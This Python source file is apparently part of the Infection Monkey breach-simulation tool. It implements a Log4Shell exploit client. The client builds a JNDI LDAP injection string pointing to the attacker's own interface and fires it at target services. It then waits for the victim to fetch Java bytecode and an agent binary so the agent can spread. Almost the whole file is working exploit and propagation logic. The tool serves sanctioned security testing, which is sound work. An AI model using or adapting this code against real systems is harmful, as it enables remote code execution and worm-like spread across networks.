import logging
from time import time
from typing import Tuple

from egg_timer import EggTimer

from common.agent_events import AgentEventTag, ExploitationEvent, PropagationEvent
from common.event_queue import IAgentEventPublisher
from common.tags import (
    BRUTE_FORCE_T1110_TAG,
    EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG,
    INGRESS_TOOL_TRANSFER_T1105_TAG,
)
from common.types import AgentID, Event, NetworkPort
from infection_monkey.i_puppet import TargetHost
from infection_monkey.network.tools import get_interface_to_target

from .log4shell_options import Log4ShellOptions
from .service_exploiters import get_log4shell_service_exploiters

logger = logging.getLogger(__name__)

LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter"
EXPLOITER_TAGS = (
    LOG4SHELL_EXPLOITER_TAG,
    BRUTE_FORCE_T1110_TAG,
    EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG,
)
PROPAGATION_TAGS = (
    LOG4SHELL_EXPLOITER_TAG,
    EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG,
    INGRESS_TOOL_TRANSFER_T1105_TAG,
)

VICTIM_WAIT_SLEEP_TIME_SEC = 0.050


class Log4ShellExploitClient:
    def __init__(
        self, exploiter_name: str, agent_id: AgentID, agent_event_publisher: IAgentEventPublisher
    ):
        self._exploiter_name = exploiter_name
        self._agent_id = agent_id
        self._agent_event_publisher = agent_event_publisher

    def exploit(
        self,
        target_host: TargetHost,
        options: Log4ShellOptions,
        ldap_port: NetworkPort,
        agent_binary_downloaded: Event,
        exploit_class_downloaded: Event,
        service_port: NetworkPort,
        interrupt: Event,
    ) -> Tuple[bool, bool]:
        exploitation_success = False
        propagation_success = False

        ldap_payload = Log4ShellExploitClient._build_ldap_payload(target_host, ldap_port)

        for service_exploiter in get_log4shell_service_exploiters():
            try:
                logger.debug(
                    f'Attempting Log4Shell exploit for service "{service_exploiter.service_name}"'
                    f"on port {service_port}"
                )
                timestamp = time()
                service_exploiter.trigger_exploit(
                    ldap_payload,
                    target_host,
                    service_port,
                )
                exploitation_success, propagation_success = self._wait_for_exploit(
                    target_host,
                    options,
                    agent_binary_downloaded,
                    exploit_class_downloaded,
                    timestamp,
                    interrupt,
                )
                if exploitation_success:
                    break
            except Exception:
                logger.exception(
                    "An exception was encountered while attempting to exploit Log4Shell"
                    f" for service {service_exploiter.service_name}"
                )

        return exploitation_success, propagation_success

    @staticmethod
    def _build_ldap_payload(target_host: TargetHost, ldap_port: NetworkPort) -> str:
        interface_ip = get_interface_to_target(str(target_host.ip))
        return f"${{jndi:ldap://{interface_ip}:{ldap_port}/dn=Exploit}}"

    def _wait_for_exploit(
        self,
        target_host: TargetHost,
        options: Log4ShellOptions,
        agent_binary_downloaded: Event,
        exploit_class_downloaded: Event,
        timestamp: float,
        interrupt: Event,
    ) -> Tuple[bool, bool]:
        exploitation_success = False
        propagation_success = False

        exploitation_success = Log4ShellExploitClient._wait_for_victim_to_download_java_bytecode(
            exploit_class_downloaded, options.exploit_download_timeout, interrupt
        )
        if not exploitation_success:
            error_message = "Timed out while waiting for victim to download the Java bytecode"
            logger.debug(error_message)
            self._publish_exploitation_event(
                target_host=target_host, time=timestamp, success=False, error_message=error_message
            )
            return exploitation_success, propagation_success

        self._publish_exploitation_event(target_host=target_host, time=timestamp, success=True)

        propagation_success = Log4ShellExploitClient._wait_for_victim_to_download_agent(
            agent_binary_downloaded, options.agent_binary_download_timeout, interrupt
        )
        if not propagation_success:
            error_message = "Timed out while waiting for victim to download the Agent binary"
            logger.debug(error_message)
            self._publish_propagation_event(
                target_host=target_host, time=timestamp, success=False, error_message=error_message
            )
            return exploitation_success, propagation_success

        self._publish_propagation_event(target_host, success=propagation_success)

        return exploitation_success, propagation_success

    @staticmethod
    def _wait_for_victim_to_download_java_bytecode(
        exploit_class_downloaded: Event, exploit_download_timeout: float, interrupt: Event
    ) -> bool:
        return Log4ShellExploitClient._wait_for_event(
            exploit_class_downloaded, exploit_download_timeout, interrupt
        )

    @staticmethod
    def _wait_for_victim_to_download_agent(
        agent_binary_downloaded: Event, agent_binary_download_timeout: float, interrupt: Event
    ) -> bool:
        return Log4ShellExploitClient._wait_for_event(
            agent_binary_downloaded, agent_binary_download_timeout, interrupt
        )

    @staticmethod
    def _wait_for_event(event: Event, timeout: float, interrupt: Event) -> bool:
        timer = EggTimer()
        timer.set(timeout)

        while not timer.is_expired() and not interrupt.is_set():
            if event.wait(VICTIM_WAIT_SLEEP_TIME_SEC):
                return True

        return event.is_set()

    def _publish_exploitation_event(
        self,
        target_host: TargetHost,
        time: float = time(),
        success: bool = False,
        tags: Tuple[AgentEventTag, ...] = tuple(),
        error_message: str = "",
    ):
        exploitation_event = ExploitationEvent(
            source=self._agent_id,
            target=target_host.ip,
            success=success,
            exploiter_name=self._exploiter_name,
            error_message=error_message,
            timestamp=time,
            tags=frozenset(tags or EXPLOITER_TAGS),
        )
        self._agent_event_publisher.publish(exploitation_event)

    def _publish_propagation_event(
        self,
        target_host: TargetHost,
        time: float = time(),
        success: bool = False,
        tags: Tuple[AgentEventTag, ...] = tuple(),
        error_message: str = "",
    ):
        propagation_event = PropagationEvent(
            source=self._agent_id,
            target=target_host.ip,
            success=success,
            exploiter_name=self._exploiter_name,
            error_message=error_message,
            timestamp=time,
            tags=frozenset(tags or PROPAGATION_TAGS),
        )
        self._agent_event_publisher.publish(propagation_event)
